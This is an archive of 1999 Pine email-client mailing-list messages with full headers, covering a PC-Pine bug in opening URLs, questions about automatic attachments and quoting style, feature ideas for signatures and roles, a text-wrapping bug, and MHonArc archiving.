mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA23260; Fri, 19 Feb 1999 11:11:34 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id LAA06866; Fri, 19 Feb 1999 11:07:46 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA30276 for ; Fri, 19 Feb 1999 11:04:39 -0800 Received: from usc.edu (usc.edu [128.125.253.136]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id LAA05774 for ; Fri, 19 Feb 1999 11:04:38 -0800 Received: from Law.USC.EDU (law.usc.edu [128.125.42.6]) by usc.edu (8.8.8/8.8.8/usc) with SMTP id LAA13534 for ; Fri, 19 Feb 1999 11:04:38 -0800 (PST) Received: from faculty.Law.USC.EDU by Law.USC.EDU (4.1/SMI-4.1) id AA17070; Fri, 19 Feb 1999 11:00:32 PST Received: from l2122.usc.edu by faculty.Law.USC.EDU (4.1/SMI-4.1) id AA23742; Fri, 19 Feb 1999 11:13:10 PST Message-Id: Date: Fri, 19 Feb 1999 11:04:34 -0800 (Pacific Standard Time) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Robert Larmon To: Pine Discussion Forum Subject: strange occurence in PC-Pine 4.05 and 4.10. Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: rlarmon@faculty-law.usc.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hi, I am an avid fan of PC-Pine, but there is one thing that is bothering me. (Yes, I checked the newsgroup and the FAQ, but was unsuccessful finding anything related) I installed PC-Pine 4.05 from scratch on a user's system, who was telnetting to Pine before. When he tries to select a valid URL, he gets the message... "Cannot find the file 'http://www-bcf.usc.edu/~ckallas' (or one of its components). Make sure the path and filename are correct and that all required libraries are available." Now, he has tried this on multiple URL's, all which work on mine and others using PC-Pine. (I just upgraded to 4.10 from 4.05, and I noticed no similar problem in either version). He is running Win95A w/Communicator 4.5 (I upgraded him from Netscape 4.08 thinking this might be the cause). These items are selected... [X] enable-msg-view-attachments [X] enable-msg-view-urls [X] enable-msg-view-web-hostnames Here is the Journal entry that Pine reports when the 1st user tries to access a URL... "Cannot spawn command : *Shell*" My PC-Pine 4.10 says... "VIEWER command completed" To further confuse things, another user is also experiencing this problem, and we just upgraded him to 4.10 from 3.95. His configuration is identical except that he is using Netscape 4.07. Any thoughts? Is there a hidden config variable I missed somewhere or that was automatically set that would cause this? I looked through the Pinerc file, and couldn't find any option related to this. I also looked through the technical docs, with no luck. HELP! Thanks, Robert ``````````````````````````````````````````````````````````````````````` ` Robert Larmon ` ` PC Systems Analyst ` ` USC Law School Computing Services ` ` rlarmon@law.usc.edu ` ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Sat, 20 Feb 1999 05:41:04 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id FAA11237 for ; Sat, 20 Feb 1999 05:41:02 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id FAA08798; Sat, 20 Feb 1999 05:41:00 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id FAA16043; Sat, 20 Feb 1999 05:39:34 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id FAA09490 for ; Sat, 20 Feb 1999 05:36:07 -0800 Received: from gabriel.ul.ie (gabriel.ul.ie [136.201.1.101]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id FAA25403 for ; Sat, 20 Feb 1999 05:36:05 -0800 Received: from student.ul.ie (tomnewe.staff5.ul.ie [136.201.144.170]) by gabriel.ul.ie with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.1960.3) id 16KXCGLM; Sat, 20 Feb 1999 13:36:05 -0000 Message-Id: <36CEBA8E.465C4405@student.ul.ie> Date: Sat, 20 Feb 1999 13:37:18 +0000 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Nicola Lenihan <9514139@student.ul.ie> To: Pine Discussion Forum Subject: Attachments in Pine MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: root@mxu3.u.washington.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hi everyone, I am just wandering if there is anyway to automatically attach files to every mail you send in Pine. I wish to attach the same file to every mail I send. Is this possible? Thanks in Advance. Nicola Lenihan -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Sat, 20 Feb 1999 05:53:52 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id FAA11338 for ; Sat, 20 Feb 1999 05:53:50 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id FAA08946; Sat, 20 Feb 1999 05:53:48 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id FAA19030; Sat, 20 Feb 1999 05:52:17 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id FAA33254 for ; Sat, 20 Feb 1999 05:49:08 -0800 Received: from europe.std.com (europe.std.com [199.172.62.20]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id FAA25892 for ; Sat, 20 Feb 1999 05:49:07 -0800 Received: from world.std.com by europe.std.com (STD1.2/BZS-8-1.0) id IAA13767; Sat, 20 Feb 1999 08:49:06 -0500 (EST) Received: from localhost by world.std.com (TheWorld/Spike-2.0) id AA01738; Sat, 20 Feb 1999 08:49:06 -0500 Message-Id: Date: Sat, 20 Feb 1999 08:49:06 -0500 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Jeff A Kinsey To: Pine Discussion Forum Subject: Re: Attachments in Pine In-Reply-To: <36CEBA8E.465C4405@student.ul.ie> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN yes. you could use the 'sig' feature. -jeff On Sat, 20 Feb 1999, Nicola Lenihan wrote: > Hi everyone, > I am just wandering if there is anyway to automatically attach files to > every mail you send in Pine. > I wish to attach the same file to every mail I send. Is this possible? > Thanks in Advance. > Nicola Lenihan -- "make no small plans - for they have no magic to stir man's souls" electronic commerce for your business: www.edivision.net From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Sat, 20 Feb 1999 08:34:38 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA12327 for ; Sat, 20 Feb 1999 08:34:37 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA19844; Sat, 20 Feb 1999 08:34:36 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id IAA20032; Sat, 20 Feb 1999 08:32:59 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id IAA27912 for ; Sat, 20 Feb 1999 08:29:37 -0800 Received: from luomat.peak.org (port-25-ts1-gnv.da.fdt.net [209.212.132.184]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id IAA13970 for ; Sat, 20 Feb 1999 08:29:34 -0800 Received: by luomat.peak.org (8.9.2/8.9.0) id LAA03853 for pine-info@u.washington.edu; Sat, 20 Feb 1999 11:29:31 -0500 (GMT-0500) Message-Id: <199902201629.LAA03853@ocalhost> Date: Sat, 20 Feb 1999 11:29:28 -0500 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Timothy J Luoma To: Pine Discussion Forum Subject: Re: Attachments in Pine In-Reply-To: References: Content-Type: text/plain MIME-Version: 1.0 X-To: Pine Discussion Forum X-Image-URL: http://www.peak.org/~luomat/luomat@peak.org.tiff X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Author: Jeff A Kinsey Date: Sat, 20 Feb 1999 08:49:06 -0500 (EST) ID: > yes. you could use the 'sig' feature. That's not really what they asked for, they don't want to include a file, they want to attach a file (Jeff: the following is NOT really directed at you. You gave an example of it, but PINE's setup actually can encourage the behavior I describe) It is unfortunate that we have this new quoting style going around where we forward the previous person's email (even though everyone on the list already saw it) and just put our message at the top. It makes it hard to reply properly. There was a time when replies would have looked something like this: Nicola Lenihan <9514139@student.ul.ie> wrote > I wish to attach the same file to every mail I send. Is this possible? yes. you could use the 'sig' feature. And then my message would have looked something like this: Jeff A Kinsey wrote: > Nicola Lenihan <9514139@student.ul.ie> wrote > > I wish to attach the same file to every mail I send. Is this > > possible? > > yes. you could use the 'sig' feature. Attaching a file and including a file are two different things. I'm not 100% sure which one Nicola was looking to accomplish. Including an ASCII file, like a .sig file, can be accomplished in PINE. _Attaching_ a file to every email is not possible in PINE as far as I know, and thankfully so. I can't conceive of any attachment which would be useful to send with every email message. It certainly would break mailing lists and folks who still may not have MIME capabilities. If you want to include a file, like a .sig, check out this line in the Configuration screen of PINE: signature-file = As far as attaching files, can't be done, and if it can be, it shouldn't be. TjL From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Sat, 20 Feb 1999 11:07:24 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA13349 for ; Sat, 20 Feb 1999 11:07:23 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA21730; Sat, 20 Feb 1999 11:07:21 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id LAA06151; Sat, 20 Feb 1999 11:05:02 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA24356 for ; Sat, 20 Feb 1999 11:01:12 -0800 Received: from seen.farley.org (mail@farley.org [204.248.217.248]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id LAA23364 for ; Sat, 20 Feb 1999 11:01:10 -0800 Received: from seen.farley.org ([192.168.1.2] ident=sean) by seen.farley.org with esmtp (Exim 2.10 #2) id 10EHeJ-0003C0-00 for pine-info@u.washington.edu; Sat, 20 Feb 1999 14:01:11 -0500 Message-Id: Date: Sat, 20 Feb 1999 14:01:11 -0500 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Sean Farley To: Pine Discussion Forum Subject: Ideas for tokens and roles MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: sean@farley.org X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I have been playing around with my signature and thought of a few useful ideas which I think would be nice for Pine to have. The first idea is a token (ROLE) which would hold the e-mail being used in a role. This would help me use one signature with many roles. The second idea is a token (ROLENICK) which would hold the nickname of the role. I thought this would be useful, but I can't recall why at this time. I believe I was thinking something like this in the signature: "_ROLENICK_ <_ROLE_>". I think I am on a roll. :) The third idea is concerning roles and replies. It would be nice if when replying with a role that it would not ask to reply to all recipients when it is only asking to reply to the role's address. For example, if my role is role@farley.org and someone sends e-mail to it, Pine will ask if I want to reply to role@farley.org. I would rather not. Might there be some way to tell Pine not to consider addresses which match in the To: header as other recipients? Maybe Pine is not into role-playing? :) Sean P.S. Reply soon before I think up some other puns, and I will. -------------- scf@farley.org -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Sat, 20 Feb 1999 11:14:20 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA13280 for ; Sat, 20 Feb 1999 11:14:19 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA12811; Sat, 20 Feb 1999 11:14:17 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id LAA27412; Sat, 20 Feb 1999 11:12:24 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA23442 for ; Sat, 20 Feb 1999 11:08:57 -0800 Received: from seen.farley.org (mail@farley.org [204.248.217.248]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id LAA23900 for ; Sat, 20 Feb 1999 11:08:55 -0800 Received: from seen.farley.org ([192.168.1.2] ident=sean) by seen.farley.org with esmtp (Exim 2.10 #2) id 10EHlp-0003CB-00 for pine-info@u.washington.edu; Sat, 20 Feb 1999 14:08:57 -0500 Message-Id: Date: Sat, 20 Feb 1999 14:08:57 -0500 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Sean Farley To: Pine Discussion Forum Subject: Composition bug MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: sean@farley.org X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN This is bug that I finally found how to duplicate during composition. Take an arbitrary line such as the dashes I use in my signature. Place the cursor on the line right before the dashes. Start typing "words" for at least three lines worth. When wrapping around onto the second line, the dashes will be pushed down a line. When wrapping around onto the third line, the dashed lines are only indented a space or so. asdf asdf asdf sdaf asdf asdf asdf sadf asdf asdf asdf sadf sadf asdf asdf asdf asdf sadf sdfa safd sfad sadf sdfa asdf asdf sadf asdf sadf asdf asdf asdf --------------- scf@farley.org At least I consider this a bug. Sean -------------- scf@farley.org -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Sat, 20 Feb 1999 11:30:02 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA07640 for ; Sat, 20 Feb 1999 11:30:01 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA22020; Sat, 20 Feb 1999 11:29:59 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id LAA27711; Sat, 20 Feb 1999 11:28:08 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA36178 for ; Sat, 20 Feb 1999 11:24:27 -0800 Received: from sttlpop1.sttl.uswest.net (sttlpop1.sttl.uswest.net [206.81.192.1]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with SMTP id LAA12030 for ; Sat, 20 Feb 1999 11:24:27 -0800 Received: (qmail 16326 invoked by alias); 20 Feb 1999 19:24:24 -0000 Received: (qmail 16313 invoked by uid 0); 20 Feb 1999 19:24:24 -0000 Received: from mdsl114.sttl.uswest.net (209.181.94.115) by sttlpop1.sttl.uswest.net with SMTP; 20 Feb 1999 19:24:24 -0000 Message-Id: Date: Sat, 20 Feb 1999 11:23:57 -0800 (Pacific Standard Time) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Terry Gray To: Pine Discussion Forum Subject: Re: strange occurence in PC-Pine 4.05 and 4.10. In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Robert Larmon X-Cc: Pine Discussion Forum X-X-Sender: gray@shivams.cac.washington.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Robert, PC-Pine by default uses the windows registry to figure out what browser to use, and for that matter, how to handle MIME attachments. This seems to work fine with systems on which Internet Explorer 4.x has been installed, but I think I've seen some other non-IE4 systems that had troubles similar to yours. In other words, I think IE4 may install some registry stuff that is necessary for Pine's registry sniffing to work right. I suspect that if you enter the URL in the Windows "Start/Run" dialog box, it will fail with the same kinds of errors. (Normally on the Windows systems I use, you can just enter "http://whatever" in the "Run" dialog box, and that will automatically fire up the default browser.) You can also experiment with the explicit browser path variable in the pinerc... -teg On Fri, 19 Feb 1999, Robert Larmon wrote: > Hi, > I am an avid fan of PC-Pine, but there is one thing that is > bothering me. (Yes, I checked the newsgroup and the FAQ, but was > unsuccessful finding anything related) > > I installed PC-Pine 4.05 from scratch on a user's system, who was > telnetting to Pine before. When he tries to select a valid URL, he gets > the message... > > "Cannot find the file 'http://www-bcf.usc.edu/~ckallas' (or one of > its components). Make sure the path and filename are correct and that all > required libraries are available." > > Now, he has tried this on multiple URL's, all which work on mine > and others using PC-Pine. (I just upgraded to 4.10 from 4.05, and I > noticed no similar problem in either version). > > He is running Win95A w/Communicator 4.5 (I upgraded him from Netscape 4.08 > thinking this might be the cause). These items are selected... > > [X] enable-msg-view-attachments > [X] enable-msg-view-urls > [X] enable-msg-view-web-hostnames > > Here is the Journal entry that Pine reports when the 1st user tries to > access a URL... > > "Cannot spawn command : *Shell*" > > My PC-Pine 4.10 says... > > "VIEWER command completed" > > To further confuse things, another user is also experiencing this problem, > and we just upgraded him to 4.10 from 3.95. His configuration is > identical except that he is using Netscape 4.07. > > Any thoughts? Is there a hidden config variable I missed somewhere or > that was automatically set that would cause this? I looked through the > Pinerc file, and couldn't find any option related to this. I also looked > through the technical docs, with no luck. > > HELP! > > Thanks, > > Robert > > > > ``````````````````````````````````````````````````````````````````````` > ` Robert Larmon ` > ` PC Systems Analyst ` > ` USC Law School Computing Services ` > ` rlarmon@law.usc.edu ` > ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' > > > > From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Sat, 20 Feb 1999 13:50:44 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA14504 for ; Sat, 20 Feb 1999 13:50:43 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA14757; Sat, 20 Feb 1999 13:50:41 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id NAA11032; Sat, 20 Feb 1999 13:49:36 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id NAA30726 for ; Sat, 20 Feb 1999 13:46:15 -0800 Received: from pacs03.infoave.net (IDENT:22614636@pacs03.InfoAve.Net [165.166.0.13]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id NAA21411 for ; Sat, 20 Feb 1999 13:46:14 -0800 Received: from ipc.condell.com ("port 65346"@[206.151.216.5]) by InfoAve.Net (PMDF V5.1-12 #23426) with SMTP id <01J7Z281LAC69FP5KA@InfoAve.Net> for pine-info@u.washington.edu; Sat, 20 Feb 1999 16:45:38 EST Received: from world.std.com by ipc.condell.com (SMI-8.6/SMI-SVR4) id QAA23454; Sat, 20 Feb 1999 16:44:56 -0500 Message-Id: <36CF2D42.2D4EEE0F@world.std.com> Date: Sat, 20 Feb 1999 16:46:42 -0500 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Jeff A Kinsey To: Pine Discussion Forum Subject: Re: Attachments in Pine References: <199902201629.LAA03853@ocalhost> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-To: Pine Discussion Forum X-Accept-Language: en X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN i feel that my solution is valid for her inquiry... as it turns out, she really did not want to attach the "same file" [which is what she ask for], but various files. -jeff Timothy J Luoma wrote: > > > yes. you could use the 'sig' feature. > > That's not really what they asked for, they don't want to include a file, > they want to attach a file > From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Sat, 20 Feb 1999 13:55:55 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA14452 for ; Sat, 20 Feb 1999 13:55:54 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA23885; Sat, 20 Feb 1999 13:55:52 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id NAA02192; Sat, 20 Feb 1999 13:54:14 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id NAA26050 for ; Sat, 20 Feb 1999 13:51:03 -0800 Received: from pacs03.infoave.net (IDENT:22611EA6@pacs03.InfoAve.Net [165.166.0.13]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id NAA00916 for ; Sat, 20 Feb 1999 13:51:03 -0800 Received: from ipc.condell.com ("port 65328"@[206.151.216.5]) by InfoAve.Net (PMDF V5.1-12 #23426) with SMTP id <01J7Z2DUSJKY9FPAIA@InfoAve.Net> for pine-info@u.washington.edu; Sat, 20 Feb 1999 16:50:19 EST Received: from world.std.com by ipc.condell.com (SMI-8.6/SMI-SVR4) id QAA23464; Sat, 20 Feb 1999 16:49:38 -0500 Message-Id: <36CF2E5C.B523CB84@world.std.com> Date: Sat, 20 Feb 1999 16:51:24 -0500 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Jeff A Kinsey To: Pine Discussion Forum Subject: Re: Attachments in Pine References: <199902201629.LAA03853@ocalhost> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-To: Pine Discussion Forum X-Accept-Language: en X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN i happen to like the method you call 'unfortunate'. netscape mail does it the same way as pine [as evidenced by this note]. when necessary, i have simply stated "see comments below" and then dove into the message body adding my two cents worth at the appropriate spot. -jeff Timothy J Luoma wrote: > (Jeff: the following is NOT really directed at you. You > gave an example of it, but PINE's setup actually can > encourage the behavior I describe) > > It is unfortunate that we have this new quoting style going around where we > forward the previous person's email (even though everyone on the list already > saw it) and just put our message at the top. It makes it hard to reply > properly. > << stuff deleted >> From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Sun, 21 Feb 1999 11:05:45 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA28258 for ; Sun, 21 Feb 1999 11:05:44 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA30687; Sun, 21 Feb 1999 11:05:42 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id LAA04214; Sun, 21 Feb 1999 11:03:22 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id KAA11624 for ; Sun, 21 Feb 1999 10:57:06 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id KAA12506 for ; Sun, 21 Feb 1999 10:57:06 -0800 Received: from taxa.psyc.missouri.edu (taxa.psyc.missouri.edu [128.206.45.83]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id KAA30579 for ; Sun, 21 Feb 1999 10:57:05 -0800 Received: from localhost by taxa.psyc.missouri.edu (SMI-8.6/SMI-SVR4) id MAA14051; Sun, 21 Feb 1999 12:56:04 -0600 Message-Id: Date: Sun, 21 Feb 1999 12:56:04 -0600 (CST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Mike Miller To: Pine Discussion Forum Subject: MHonArc and "FOLDER INTERNAL DATA" MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: PINE-INFO list X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I'm using MHonArc to translate some of my mail folders into an indexed html archive. If you haven't tried MHonArc, it's great. Read about it here: http://www.oac.uci.edu/indiv/ehood/mhonarc.html I'm having a problem with the FOLDER INTERNAL DATA messages created by pine. For example, see here: http://taxa.psyc.missouri.edu/bgnews/1999/ Every time I update, the FOLDER INTERNAL DATA message has changed, so it is added again. I know that I can turn off this pine feature, but I really only want to turn it off for certain folders. Is it possible to do that? If not, the added flexibility is a feature I could use. Does anyone else have experience with MHonArc and the new pine folders? I can't find a way to make MHonArc ignore the FOLDER INTERNAL DATA messages. I'd really appreciate a tip on this if you have a minute. Thanks very much, Mike -- Michael B. Miller, Ph.D. University of Missouri--Columbia http://taxa.psyc.missouri.edu/~mbmiller/ -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Sun, 21 Feb 1999 12:09:30 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA27426 for ; Sun, 21 Feb 1999 12:09:28 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA31469; Sun, 21 Feb 1999 12:09:26 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id MAA01206; Sun, 21 Feb 1999 12:07:45 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with 